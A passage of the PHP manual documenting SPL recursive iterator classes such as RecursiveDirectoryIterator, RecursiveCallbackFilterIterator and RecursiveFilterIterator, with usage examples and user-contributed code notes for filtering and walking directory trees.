public void CachingIterator::getFlags ( void )
public Iterator CachingIterator::getInnerIterator ( void )
public void CachingIterator::hasNext ( void )
public scalar CachingIterator::key ( void )
public void CachingIterator::next ( void )
public void CachingIterator::offsetExists ( string $index )
public void CachingIterator::offsetGet ( string $index )
public void CachingIterator::offsetSet ( string $index , string $newval )
public void CachingIterator::offsetUnset ( string $index )
public void CachingIterator::rewind ( void )
public void CachingIterator::setFlags ( bitmask $flags )
public void CachingIterator::__toString ( void )
public void CachingIterator::valid ( void )
}

Table of Contents

  • RecursiveCachingIterator::__construct — Construct
  • RecursiveCachingIterator::getChildren — Return the inner iterator's children as a RecursiveCachingIterator
  • RecursiveCachingIterator::hasChildren — Check whether the current element of the inner iterator has children

User Contributed Notes

There are no user contributed notes for this page.


Construct

  • « RecursiveCachingIterator
  • RecursiveCachingIterator::getChildren »
  • PHP Manual
  • RecursiveCachingIterator
  • Construct

RecursiveCachingIterator::__construct

(PHP 5 >= 5.1.0)

RecursiveCachingIterator::__construct — Construct

Description

public RecursiveCachingIterator::__construct ( Iterator $iterator [, string $flags = self::CALL_TOSTRING ] )

Constructs a new RecursiveCachingIterator, which consists of a passed in iterator.

Warning

This function is currently not documented; only its argument list is available.

Parameters

iterator

The iterator being used.

flags

The flags. Use CALL_TOSTRING to call RecursiveCachingIterator::__toString() for every element (the default), and/or CATCH_GET_CHILD to catch exceptions when trying to get children.

Return Values

The RecursiveCachingIterator.

See Also

  • CachingIterator::__construct() - Construct a new CachingIterator object for the iterator.

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children as a RecursiveCachingIterator

  • « RecursiveCachingIterator::__construct
  • RecursiveCachingIterator::hasChildren »
  • PHP Manual
  • RecursiveCachingIterator
  • Return the inner iterator's children as a RecursiveCachingIterator

RecursiveCachingIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveCachingIterator::getChildren — Return the inner iterator's children as a RecursiveCachingIterator

Description

public RecursiveCachingIterator RecursiveCachingIterator::getChildren ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The inner iterator's children, as a RecursiveCachingIterator.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the current element of the inner iterator has children

  • « RecursiveCachingIterator::getChildren
  • RecursiveCallbackFilterIterator »
  • PHP Manual
  • RecursiveCachingIterator
  • Check whether the current element of the inner iterator has children

RecursiveCachingIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveCachingIterator::hasChildren — Check whether the current element of the inner iterator has children

Description

public bool RecursiveCachingIterator::hasChildren ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

TRUE if the inner iterator has children, otherwise FALSE

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveCallbackFilterIterator class

(PHP 5 >= 5.4.0)

Introduction

Class synopsis

RecursiveCallbackFilterIterator extends CallbackFilterIterator implements OuterIterator , RecursiveIterator {
/* Methods */
public __construct ( RecursiveIterator $iterator , string $callback )
public RecursiveCallbackFilterIterator getChildren ( void )
public void hasChildren ( void )
/* Inherited methods */
public string CallbackFilterIterator::accept ( void )
}

Examples

The callback should accept up to three arguments: the current item, the current key and the iterator, respectively.

Example #1 Available callback arguments

<?php

/**
 * Callback for RecursiveCallbackFilterIterator
 *
 * @param $current   Current item's value
 * @param $key       Current item's key
 * @param $iterator  Iterator being filtered
 * @return boolean   TRUE to accept the current item, FALSE otherwise
 */
function my_callback($current, $key, $iterator) {
    // Your filtering code here
}

?>

Filtering a recursive iterator generally involves two conditions. The first is that, to allow recursion, the callback function should return TRUE if the current iterator item has children. The second is the normal filter condition, such as a file size or extension check as in the example below.

Example #2 Recursive callback basic example

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// Filter large files ( > 100MB)
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
    // Allow recursion
    if ($iterator->hasChildren()) {
        return TRUE;
    }
    // Check for large file
    if ($current->isFile() && $current->getSize() > 104857600) {
        return TRUE;
    }
    return FALSE;
});

foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}

?>

Table of Contents

  • RecursiveCallbackFilterIterator::__construct — Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::hasChildren — Check whether the inner iterator's current element has children

User Contributed Notes

a dot belloundja at gmail dot com 02-Jan-2013 08:26
Here is a code that may implement similar functionality in PHP 5.2 or 5.3 :

<?php

class RecursiveCallbackFilterIterator extends RecursiveFilterIterator {

    public function __construct ( RecursiveIterator $iterator, $callback ) {

        $this->callback = $callback;

        parent::__construct($iterator);

    }

    public function accept () {

        $callback = $this->callback;

        return $callback(parent::current(), parent::key(), parent::getInnerIterator());

    }

    public function getChildren () {

        return new self($this->getInnerIterator()->getChildren(), $this->callback);

    }

}

?>
Anonymous 11-Dec-2011 10:31
Note that the following filters out both files and directories whos names start with the letter "T". The important thing here is that since the function returns false for a directory entry whos name starts with T, the directory is also not traversed recursively.

<?php
$doesntStartWithLetterT = function ($current) {
    return $current->getFileName()[0] !== 'T';
};

$rdi = new RecursiveDirectoryIterator(__DIR__);
$files = new RecursiveCallbackFilterIterator($rdi, $doesntStartWithLetterT);
foreach (new RecursiveIteratorIterator($files) as $file) {
    echo $file->getPathname() . PHP_EOL;
}
?>


Create a RecursiveCallbackFilterIterator from a RecursiveIterator

  • « RecursiveCallbackFilterIterator
  • RecursiveCallbackFilterIterator::getChildren »
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Create a RecursiveCallbackFilterIterator from a RecursiveIterator

RecursiveCallbackFilterIterator::__construct

(PHP 5 >= 5.4.0)

RecursiveCallbackFilterIterator::__construct — Create a RecursiveCallbackFilterIterator from a RecursiveIterator

Description

public RecursiveCallbackFilterIterator::__construct ( RecursiveIterator $iterator , string $callback )

Creates a filtered iterator from a RecursiveIterator using the callback to determine which items are accepted or rejected.

Parameters

iterator

The recursive iterator to be filtered.

callback

The callback, which should return TRUE to accept the current item or FALSE otherwise. See Examples.

May be any valid callable value.

Return Values

No value is returned.

See Also

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveCallbackFilterIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Check whether the inner iterator's current element has children

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

  • « RecursiveCallbackFilterIterator::__construct
  • RecursiveCallbackFilterIterator::hasChildren »
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

RecursiveCallbackFilterIterator::getChildren

(PHP 5 >= 5.4.0)

RecursiveCallbackFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

Description

public RecursiveCallbackFilterIterator RecursiveCallbackFilterIterator::getChildren ( void )

Fetches the filtered children of the inner iterator.

RecursiveCallbackFilterIterator::hasChildren() should be used to determine if there are children to be fetched.

Parameters

This function has no parameters.

Return Values

Returns a RecursiveCallbackFilterIterator containing the children.

See Also

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::__construct() - Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilteriterator::hasChildren() - Check whether the inner iterator's current element has children

User Contributed Notes

There are no user contributed notes for this page.


Check whether the inner iterator's current element has children

  • « RecursiveCallbackFilterIterator::getChildren
  • RecursiveDirectoryIterator »
  • PHP Manual
  • RecursiveCallbackFilterIterator
  • Check whether the inner iterator's current element has children

RecursiveCallbackFilterIterator::hasChildren

(PHP 5 >= 5.4.0)

RecursiveCallbackFilterIterator::hasChildren — Check whether the inner iterator's current element has children

Description

public void RecursiveCallbackFilterIterator::hasChildren ( void )

Returns TRUE if the current element has children, FALSE otherwise.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current element has children, FALSE otherwise.

Examples

Example #1 RecursiveCallbackFilterIterator::hasChildren() basic usage

<?php

$dir = new RecursiveDirectoryIterator(__DIR__);

// Recursively iterate over XML files
$files = new RecursiveCallbackFilterIterator($dir, function ($current, $key, $iterator) {
    // Allow recursion into directories
    if ($iterator->hasChildren()) {
        return TRUE;
    }
    // Check for XML file
    if (!strcasecmp($current->getExtension(), 'xml')) {
        return TRUE;
    }
    return FALSE;
});

?>

See Also

  • RecursiveCallbackFilterIterator Examples
  • RecursiveCallbackFilterIterator::__construct() - Create a RecursiveCallbackFilterIterator from a RecursiveIterator
  • RecursiveCallbackFilteriterator::getChildren() - Return the inner iterator's children contained in a RecursiveCallbackFilterIterator

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveDirectoryIterator class

(PHP 5)

Introduction

The RecursiveDirectoryIterator provides an interface for iterating recursively over filesystem directories.

Class synopsis

RecursiveDirectoryIterator extends FilesystemIterator implements SeekableIterator , RecursiveIterator {
/* Methods */
public __construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )
public mixed getChildren ( void )
public string getSubPath ( void )
public string getSubPathname ( void )
public bool hasChildren ([ bool $allow_links = false ] )
public string key ( void )
public void next ( void )
public void rewind ( void )
/* Inherits */
public FilesystemIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS ] )
public mixed FilesystemIterator::current ( void )
public int FilesystemIterator::getFlags ( void )
public string FilesystemIterator::key ( void )
public void FilesystemIterator::next ( void )
public void FilesystemIterator::rewind ( void )
public void FilesystemIterator::setFlags ([ int $flags ] )
}

Changelog

Version | Description
5.3.0 | The FilesystemIterator was introduced as the parent class. Previously, the parent was the DirectoryIterator.
5.3.0 | Implements SeekableIterator.
5.2.11, 5.3.1 | Added RecursiveDirectoryIterator::FOLLOW_SYMLINKS

Table of Contents

  • RecursiveDirectoryIterator::__construct — Constructs a RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren — Returns an iterator for the current entry if it is a directory
  • RecursiveDirectoryIterator::getSubPath — Get sub path
  • RecursiveDirectoryIterator::getSubPathname — Get sub path and name
  • RecursiveDirectoryIterator::hasChildren — Returns whether current entry is a directory and not '.' or '..'
  • RecursiveDirectoryIterator::key — Return path and filename of current dir entry
  • RecursiveDirectoryIterator::next — Move to next entry
  • RecursiveDirectoryIterator::rewind — Rewind dir back to the start

User Contributed Notes

sun 01-Mar-2014 05:39
Since I continue to run into implementations across the net that are unintentionally running into this trap — beware:

RecursiveDirectoryIterator recurses without limitations into the full filesystem tree.

Do NOT do the following, unless you intentionally want to infinitely recurse without limitations:

<?php
$directory = new \RecursiveDirectoryIterator($path);
$iterator = new \RecursiveIteratorIterator($directory);
$files = array();
foreach ($iterator as $info) {
  if (...custom conditions...) {
    $files[] = $info->getPathname();
  }
}
?>

1. RecursiveDirectoryIterator is just a RecursiveIterator that recurses into its children, until no more children are found.

2. The instantiation of RecursiveIteratorIterator causes RecursiveDirectoryIterator to *immediately* recurse infinitely into the entire filesystem tree (starting from the given base path).

3. Unnecessary filesystem recursion is slow.  In 90% of all cases, this is not what you want.

Remember this simple rule of thumb:

→ A RecursiveDirectoryIterator must be FILTERED or you have a solid reason for why it shouldn't.

On PHP <5.4, implement the following - your custom conditions move into a proper filter:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new MyRecursiveFilterIterator($directory);
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}

class MyRecursiveFilterIterator extends \RecursiveFilterIterator {

  public function accept() {
    $filename = $this->current()->getFilename();
    // Skip hidden files and directories.
    if ($name[0] === '.') {
      return FALSE;
    }
    if ($this->isDir()) {
      // Only recurse into intended subdirectories.
      return $name === 'wanted_dirname';
    }
    else {
      // Only consume files of interest.
      return strpos($name, 'wanted_filename') === 0;
    }
  }

}
?>

On PHP 5.4+, PHP core addressed the slightly cumbersome issue of having to create an entirely new class and you can leverage the new RecursiveCallbackFilterIterator instead:

<?php
$directory = new \RecursiveDirectoryIterator($path, \FilesystemIterator::FOLLOW_SYMLINKS);
$filter = new \RecursiveCallbackFilterIterator($directory, function ($current, $key, $iterator) {
  // Skip hidden files and directories.
  if ($current->getFilename()[0] === '.') {
    return FALSE;
  }
  if ($current->isDir()) {
    // Only recurse into intended subdirectories.
    return $current->getFilename() === 'wanted_dirname';
  }
  else {
    // Only consume files of interest.
    return strpos($current->getFilename(), 'wanted_filename') === 0;
  }
});
$iterator = new \RecursiveIteratorIterator($filter);
$files = array();
foreach ($iterator as $info) {
  $files[] = $info->getPathname();
}
?>

Have fun!
rockerBOO 20-Jan-2014 01:01
When looping through the RecursiveDirectoryIterator , the results use  SplFileInfo.
Edward Rudd 19-Dec-2013 01:11
(related to the post about exceptions in getChildren().

instead of subclassing you can simply use the CATCH_GET_CHILD flag for RecursiveIteratorIterator

new RecursiveIteratorIterator($diriter, RecursiveIteratorIterator::CATCH_GET_CHILD);
dblanchard1 at bbox dot fr 13-Nov-2013 06:07
If you want to copy all files recursively from a source directory to some destination  :

    $directory = new RecursiveDirectoryIterator("./source_path/");

    foreach (new RecursiveIteratorIterator($directory) as $filename=>$current) {

            $src = $current->getPathName();
            $dest = "./destination_path/" . $current->getFileName();

            echo "copy " .  $src . " => " . $dest  . "\n";

            copy($src, $dest);
     }

I hope it can help someone because when I looked for this solution I had to transform another example to get it.
catinahat at cool dot fr dot nf 19-Jan-2013 09:44
If you need to convert a nested directory tree into a multidimensional array, use this code:

<?php
$ritit = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($startpath), RecursiveIteratorIterator::CHILD_FIRST);
$r = array();
foreach ($ritit as $splFileInfo) {
   $path = $splFileInfo->isDir()
         ? array($splFileInfo->getFilename() => array())
         : array($splFileInfo->getFilename());

   for ($depth = $ritit->getDepth() - 1; $depth >= 0; $depth--) {
       $path = array($ritit->getSubIterator($depth)->current()->getFilename() => $path);
   }
   $r = array_merge_recursive($r, $path);
}

print_r($r);
?>
Josh Heidenreich 14-Feb-2012 12:51
The returned object is an iterator of SplFileInfo objects.
antennen 02-Jan-2011 06:40
If you use RecursiveDirectoryIterator with RecursiveIteratorIterator and run into UnexpectedValueException you may use this little hack to ignore those directories, such as lost+found on linux.

<?php
class IgnorantRecursiveDirectoryIterator extends RecursiveDirectoryIterator {
    function getChildren() {
        try {
            return new IgnorantRecursiveDirectoryIterator($this->getPathname());
        } catch(UnexpectedValueException $e) {
            return new RecursiveArrayIterator(array());
        }
    }
}
?>

Use just like the normal RecursiveDirectoryIterator.
Thriault 09-Apr-2010 09:05
If you would like to get, say, all the *.php files in your project folder, recursively, you could use the following:

<?php

$Directory = new RecursiveDirectoryIterator('path/to/project/');
$Iterator = new RecursiveIteratorIterator($Directory);
$Regex = new RegexIterator($Iterator, '/^.+\.php$/i', RecursiveRegexIterator::GET_MATCH);

?>

$Regex will contain a single index array for each PHP file.
megar 15-Jul-2009 10:57
Usage example:
To see all the files, and count the space usage:

<?php
$ite=new RecursiveDirectoryIterator("/path/");

$bytestotal=0;
$nbfiles=0;
foreach (new RecursiveIteratorIterator($ite) as $filename=>$cur) {
    $filesize=$cur->getSize();
    $bytestotal+=$filesize;
    $nbfiles++;
    echo "$filename => $filesize\n";
}

$bytestotal=number_format($bytestotal);
echo "Total: $nbfiles files, $bytestotal bytes\n";
?>
alvaro at demogracia dot com 18-Sep-2008 05:15
Usage example:

<?php

$path = realpath('/etc');

$objects = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path), RecursiveIteratorIterator::SELF_FIRST);
foreach($objects as $name => $object){
    echo "$name\n";
}

?>

This prints a list of all files and directories under $path (including $path ifself). If you want to omit directories, remove the RecursiveIteratorIterator::SELF_FIRST part.


Constructs a RecursiveDirectoryIterator

  • « RecursiveDirectoryIterator
  • RecursiveDirectoryIterator::getChildren »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Constructs a RecursiveDirectoryIterator

RecursiveDirectoryIterator::__construct

(PHP 5 >= 5.1.2)

RecursiveDirectoryIterator::__construct — Constructs a RecursiveDirectoryIterator

Description

public RecursiveDirectoryIterator::__construct ( string $path [, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO ] )

Constructs a RecursiveDirectoryIterator() for the provided path.

Parameters

path

The path of the directory to be iterated over.

flags

Flags may be provided which will affect the behavior of some methods. A list of the flags can found under FilesystemIterator predefined constants. They can also be set later with FilesystemIterator::setFlags().

Return Values

Returns the newly created RecursiveDirectoryIterator.

Errors/Exceptions

Throws an UnexpectedValueException if the path cannot be found or is not a directory.

Examples

Example #1 RecursiveDirectoryIterator example

<?php

$directory = '/tmp';

$it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));

$it->rewind();
while($it->valid()) {

    if (!$it->isDot()) {
        echo 'SubPathName: ' . $it->getSubPathName() . "\n";
        echo 'SubPath:     ' . $it->getSubPath() . "\n";
        echo 'Key:         ' . $it->key() . "\n\n";
    }

    $it->next();
}

?>

The above example will output something similar to:

SubPathName: fruit/apple.xml
SubPath:     fruit
Key:         /tmp/fruit/apple.xml

SubPathName: stuff.xml
SubPath:
Key:         /tmp/stuff.xml

SubPathName: veggies/carrot.xml
SubPath:     veggies
Key:         /tmp/veggies/carrot.xml

See Also

  • FilesystemIterator::__construct() - Constructs a new filesystem iterator
  • RecursiveIteratorIterator::__construct() - Construct a RecursiveIteratorIterator
  • FilesystemIterator predefined constants

User Contributed Notes

hanskrentel at yahoo dot de 02-Sep-2012 06:54
The two default flags are zero (virtual) as with my PHP versions (5.3 and 5.4). Which means you can not check if those are set or not with the & bitwise operator:

<?php
// CURRENT_AS_FILEINFO (0)
// KEY_AS_PATHNAME (0)

### always FALSE ###
$directoryIterator->getFlags() & RecursiveDirectoryIterator::CURRENT_AS_FILEINFO;

?>

But this also allows that you can use other flags right ahead without repeating the default ones:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::UNIX_PATHS
);
?>

There is no need to repeat the default flags. Please note that this is different to FilesystemIterator which has as well the SKIP_DOTS flag as default which is non-zero:

<?php
new RecursiveDirectoryIterator(
    '.',
    FilesystemIterator::SKIP_DOTS
        | FilesystemIterator::UNIX_PATHS
);
?>
pedro dot matamouros at gmail dot com 17-Sep-2010 02:43
You can use RecursiveDirectoryIterator::FOLLOW_SYMLINKS as a flag to the constructor to have RecursiveDirectoryIterator follow symlinks, which it does not do by default.

[EDIT BY danbrown AT php DOT net on 16-JUL-2012: Contains a typofix provided by (lightrekky AT gmail DOT com) in note #109280 on 02-JUL-2012.]


Returns an iterator for the current entry if it is a directory

  • « RecursiveDirectoryIterator::__construct
  • RecursiveDirectoryIterator::getSubPath »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Returns an iterator for the current entry if it is a directory

RecursiveDirectoryIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveDirectoryIterator::getChildren — Returns an iterator for the current entry if it is a directory

Description

public mixed RecursiveDirectoryIterator::getChildren ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The filename, file information, or $this depending on the set flags. See the FilesystemIterator constants.

User Contributed Notes

There are no user contributed notes for this page.


Get sub path

  • « RecursiveDirectoryIterator::getChildren
  • RecursiveDirectoryIterator::getSubPathname »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Get sub path

RecursiveDirectoryIterator::getSubPath

(PHP 5 >= 5.1.0)

RecursiveDirectoryIterator::getSubPath — Get sub path

Description

public string RecursiveDirectoryIterator::getSubPath ( void )

Gets the sub path.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The sub path (sub directory).

See Also

  • RecursiveDirectoryIterator::getSubPathName() - Get sub path and name
  • RecursiveDirectoryIterator::key() - Return path and filename of current dir entry

User Contributed Notes

There are no user contributed notes for this page.


Get sub path and name

  • « RecursiveDirectoryIterator::getSubPath
  • RecursiveDirectoryIterator::hasChildren »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Get sub path and name

RecursiveDirectoryIterator::getSubPathname

(PHP 5 >= 5.1.0)

RecursiveDirectoryIterator::getSubPathname — Get sub path and name

Description

public string RecursiveDirectoryIterator::getSubPathname ( void )

Gets the sub path and filename.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The sub path (sub directory) and filename.

See Also

  • RecursiveDirectoryIterator::getSubPath() - Get sub path
  • RecursiveDirectoryIterator::key() - Return path and filename of current dir entry

User Contributed Notes

info at diy-cms dot com 30-Apr-2011 01:50
In case you run into a cross-platform issue when retrieving the sub-path , use FilesystemIterator::UNIX_PATHS flag to fix it


Returns whether current entry is a directory and not '.' or '..'

  • « RecursiveDirectoryIterator::getSubPathname
  • RecursiveDirectoryIterator::key »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Returns whether current entry is a directory and not '.' or '..'

RecursiveDirectoryIterator::hasChildren

(PHP 5)

RecursiveDirectoryIterator::hasChildren — Returns whether current entry is a directory and not '.' or '..'

Description

public bool RecursiveDirectoryIterator::hasChildren ([ bool $allow_links = false ] )
Warning

This function is currently not documented; only its argument list is available.

Parameters

allow_links

Return Values

Returns whether the current entry is a directory, but not '.' or '..'

User Contributed Notes

There are no user contributed notes for this page.


Return path and filename of current dir entry

  • « RecursiveDirectoryIterator::hasChildren
  • RecursiveDirectoryIterator::next »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Return path and filename of current dir entry

RecursiveDirectoryIterator::key

(PHP 5)

RecursiveDirectoryIterator::key — Return path and filename of current dir entry

Description

public string RecursiveDirectoryIterator::key ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

The path and filename of the current dir entry.

User Contributed Notes

There are no user contributed notes for this page.


Move to next entry

  • « RecursiveDirectoryIterator::key
  • RecursiveDirectoryIterator::rewind »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Move to next entry

RecursiveDirectoryIterator::next

(PHP 5)

RecursiveDirectoryIterator::next — Move to next entry

Description

public void RecursiveDirectoryIterator::next ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Rewind dir back to the start

  • « RecursiveDirectoryIterator::next
  • RecursiveFilterIterator »
  • PHP Manual
  • RecursiveDirectoryIterator
  • Rewind dir back to the start

RecursiveDirectoryIterator::rewind

(PHP 5)

RecursiveDirectoryIterator::rewind — Rewind dir back to the start

Description

public void RecursiveDirectoryIterator::rewind ( void )
Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveFilterIterator class

(PHP 5 >= 5.1.0)

Introduction

This abstract iterator filters out unwanted values for a RecursiveIterator. This class should be extended to implement custom filters. The RecursiveFilterIterator::accept() must be implemented in the subclass.

Class synopsis

abstract RecursiveFilterIterator extends FilterIterator implements OuterIterator , RecursiveIterator {
/* Methods */
public __construct ( RecursiveIterator $iterator )
public RecursiveFilterIterator getChildren ( void )
public bool hasChildren ( void )
/* Inherited methods */
public abstract bool FilterIterator::accept ( void )
public FilterIterator::__construct ( Iterator $iterator )
public mixed FilterIterator::current ( void )
public Iterator FilterIterator::getInnerIterator ( void )
public mixed FilterIterator::key ( void )
public void FilterIterator::next ( void )
public void FilterIterator::rewind ( void )
public bool FilterIterator::valid ( void )
}

Table of Contents

  • RecursiveFilterIterator::__construct — Create a RecursiveFilterIterator from a RecursiveIterator
  • RecursiveFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren — Check whether the inner iterator's current element has children

User Contributed Notes

lemats 05-May-2011 07:14
Recursive directory/file listing, filteres ".svn":

<?php

class MyRecursiveFilterIterator extends RecursiveFilterIterator {

    public static $FILTERS = array(
        '.svn',
    );

    public function accept() {
        return !in_array(
            $this->current()->getFilename(),
            self::$FILTERS,
            true
        );
    }

}

$dirItr    = new RecursiveDirectoryIterator('/sample/path');
$filterItr = new MyRecursiveFilterIterator($dirItr);
$itr       = new RecursiveIteratorIterator($filterItr, RecursiveIteratorIterator::SELF_FIRST);
foreach ($itr as $filePath => $fileInfo) {
    echo $fileInfo->getFilename() . PHP_EOL;
}

?>
Russell Dias 28-Sep-2010 03:38
I had to create a filter to get values greater than a certain number in a multidimensional array.

Hope someone else finds it helpful:

<?php
class GreaterThanFilter extends RecursiveFilterIterator {
    protected $limit;

    public function __construct(RecursiveIterator $recursiveIter, $limit) {
        $this->limit = $limit;
        parent::__construct($recursiveIter);
    }
    public function accept() {
        return $this->hasChildren() || strlen($this->current()) >= $this->limit;
    }
     public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->limit);
    }
}
$iter = new RecursiveArrayIterator($array);
$filter   = new GreaterThanFilter($iter, 5);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>


Create a RecursiveFilterIterator from a RecursiveIterator

  • « RecursiveFilterIterator
  • RecursiveFilterIterator::getChildren »
  • PHP Manual
  • RecursiveFilterIterator
  • Create a RecursiveFilterIterator from a RecursiveIterator

RecursiveFilterIterator::__construct

(PHP 5 >= 5.1.0)

RecursiveFilterIterator::__construct — Create a RecursiveFilterIterator from a RecursiveIterator

Description

public RecursiveFilterIterator::__construct ( RecursiveIterator $iterator )

Create a RecursiveFilterIterator from a RecursiveIterator.

Parameters

iterator

The RecursiveIterator to be filtered.

Return Values

No value is returned.

Examples

Example #1 Basic RecursiveFilterIterator() example

<?php
class TestsOnlyFilter extends RecursiveFilterIterator {
    public function accept() {
        // Accept the current item if we can recurse into it
        // or it is a value starting with "test"
        return $this->hasChildren() || (strpos($this->current(), "test") !== FALSE);
    }
}

$array    = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter   = new TestsOnlyFilter($iterator);

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>

The above example will output something similar to:

test1
test3
test4
test5

Example #2 RecursiveFilterIterator() example

<?php
class StartsWithFilter extends RecursiveFilterIterator {

    protected $word;

    public function __construct(RecursiveIterator $rit, $word) {
        $this->word = $word;
        parent::__construct($rit);
    }

    public function accept() {
        return $this->hasChildren() OR strpos($this->current(), $this->word) === 0;
    }

    public function getChildren() {
        return new self($this->getInnerIterator()->getChildren(), $this->word);
    }
}

$array    = array("test1", array("taste2", "test3", "test4"), "test5");
$iterator = new RecursiveArrayIterator($array);
$filter   = new StartsWithFilter($iterator, "test");

foreach(new RecursiveIteratorIterator($filter) as $key => $value)
{
    echo $value . "\n";
}
?>

The above example will output something similar to:

test1
test3
test4
test5

See Also

  • RecursiveFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveFilterIterator::hasChildren() - Check whether the inner iterator's current element has children
  • FilterIterator::accept() - Check whether the current element of the iterator is acceptable

User Contributed Notes

There are no user contributed notes for this page.


Return the inner iterator's children contained in a RecursiveFilterIterator

  • « RecursiveFilterIterator::__construct
  • RecursiveFilterIterator::hasChildren »
  • PHP Manual
  • RecursiveFilterIterator
  • Return the inner iterator's children contained in a RecursiveFilterIterator

RecursiveFilterIterator::getChildren

(PHP 5 >= 5.1.0)

RecursiveFilterIterator::getChildren — Return the inner iterator's children contained in a RecursiveFilterIterator

Description

public RecursiveFilterIterator RecursiveFilterIterator::getChildren ( void )

Return the inner iterator's children contained in a RecursiveFilterIterator.

Parameters

This function has no parameters.

Return Values

Returns a RecursiveFilterIterator containing the inner iterator's children.

See Also

  • RecursiveFilterIterator::hasChildren() - Check whether the inner iterator's current element has children
  • RecursiveIterator::getChildren() - Returns an iterator for the current entry.

User Contributed Notes

There are no user contributed notes for this page.


Check whether the inner iterator's current element has children

  • « RecursiveFilterIterator::getChildren
  • RecursiveIteratorIterator »
  • PHP Manual
  • RecursiveFilterIterator
  • Check whether the inner iterator's current element has children

RecursiveFilterIterator::hasChildren

(PHP 5 >= 5.1.0)

RecursiveFilterIterator::hasChildren — Check whether the inner iterator's current element has children

Description

public bool RecursiveFilterIterator::hasChildren ( void )

Check whether the inner iterator's current element has children.

Parameters

This function has no parameters.

Return Values

TRUE if the inner iterator has children, otherwise FALSE

See Also

  • RecursiveFilterIterator::getChildren() - Return the inner iterator's children contained in a RecursiveFilterIterator
  • RecursiveIterator::hasChildren() - Returns if an iterator can be created fot the current entry.

User Contributed Notes

There are no user contributed notes for this page.


The RecursiveIteratorIterator class

(PHP 5)

Introduction

Can be used to iterate through recursive iterators.

Class synopsis

RecursiveIteratorIterator implements OuterIterator {
/* Constants */
const integer LEAVES_ONLY = 0 ;
const integer SELF_FIRST = 1 ;
const integer CHILD_FIRST = 2 ;
const integer CATCH_GET_CHILD = 16 ;
/* Methods */
public void beginChildren ( void )
public void beginIteration ( void )
public RecursiveIterator callGetChildren ( void )
public bool callHasChildren ( void )
public __construct ( Traversable $iterator [, int $mode = RecursiveIteratorIterator::LEAVES_ONLY [, int $flags = 0 ]] )
public mixed current ( void )
public void endChildren ( void )
public void endIteration ( void )
public int getDepth ( void )
public iterator getInnerIterator ( void )
public mixed getMaxDepth ( void )
public RecursiveIterator getSubIterator ([ int $level ] )
public mixed key ( void )
public void next ( void )
public void nextElement ( void )
public void rewind ( void )
public void setMaxDepth ([ string $max_depth = -1 ] )
public bool valid ( void )
/* Inherited methods */
public Iterator OuterIterator::getInnerIterator ( void )
}

Predefined Constants

